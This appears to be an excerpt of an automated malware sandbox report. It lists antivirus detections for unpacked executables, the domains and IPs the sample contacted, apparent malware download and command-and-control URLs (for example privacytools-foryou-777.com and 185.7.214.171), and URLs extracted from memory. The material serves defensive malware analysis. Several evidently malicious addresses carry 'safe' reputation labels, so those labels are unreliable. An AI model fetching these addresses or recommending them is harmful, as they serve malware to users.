18.0.iudbdfd.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.8CA5.exe.f80000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.325D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.iudbdfd.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.H4HU4rg1NM.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.3.8CA5.exe.ed0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.iudbdfd.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.iudbdfd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.8CA5.exe.f80000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.0.325D.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.2.iudbdfd.4e15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.H4HU4rg1NM.exe.4e15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.2.7728.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1127993	Download File
23.0.325D.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.1.8CA5.exe.f80000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.H4HU4rg1NM.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.3.4D1A.exe.5e0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
25.2.4D1A.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.H4HU4rg1NM.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.H4HU4rg1NM.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.325D.exe.5b15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.8CA5.exe.f80000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://privacytools-foryou-777.com/downloads/toolspab3.exe	4%	Virustotal		Browse
http://privacytools-foryou-777.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://91.219.236.148:80/capibarA	0%	Avira URL Cloud	safe
http://hose-file-host4.com/tratata.php	0%	Avira URL Cloud	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://data-host-coin-8.com/files/5376_1640094939_1074.exe	0%	Virustotal		Browse
http://data-host-coin-8.com/files/5376_1640094939_1074.exe	0%	Avira URL Cloud	safe
http://185.7.214.239/sqlite3.dll	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://194.180.174.41/	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/game.exe	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://185.7.214.239/POeNDXYchB.php	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
http://file-file-host4.com/sqlite3.dll	0%	URL Reputation	safe
http://91.219.236.148:80/capibarb	0%	Avira URL Cloud	safe
https://get.adob	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id3Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response(	0%	Avira URL Cloud	safe
http://91.219.236.148/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
unicupload.top	54.38.220.85	true	false	high
elew3le3lanle.freeddns.org	178.238.8.177	true	false	high
host-data-coin-11.com	5.188.89.48	true	false	high
cdn.discordapp.com	162.159.134.233	true	false	high
downloafilesaccess.ddns.net	155.248.231.246	true	false	high
transfer.sh	144.76.136.153	true	false	high
privacytools-foryou-777.com	5.188.89.48	true	false	high
file-file-host4.com	5.188.89.48	true	false	high
data-host-coin-8.com	5.188.89.48	true	false	high
infinity-cheats.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://privacytools-foryou-777.com/downloads/toolspab3.exe	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://transfer.sh/get/s3SPeb/A.exe	false		high
http://data-host-coin-8.com/files/5376_1640094939_1074.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.7.214.239/sqlite3.dll	false	Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/game.exe	false	Avira URL Cloud: safe	unknown
http://185.7.214.239/POeNDXYchB.php	false	Avira URL Cloud: safe	unknown
http://file-file-host4.com/sqlite3.dll	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/812323288264605709/924475642190397461/Hairstyle.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576780133.00000000033B8000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577210754.0000000006DDC000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	false		high
http://tempuri.org/Entity/Id12Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t.me/capibar	7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	false		high
http://tempuri.org/	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576644571.0000000002EA9000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://91.219.236.148:80/capibarA	7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://hose-file-host4.com/tratata.php	4D1A.exe, 00000019.00000002.441039139.000000000081B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/ip	110B.exe, 0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, A87C.exe, 00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp, A87C.exe, 00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp, 9B5C.exe, 00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp, C26E.exe.13.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id5Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
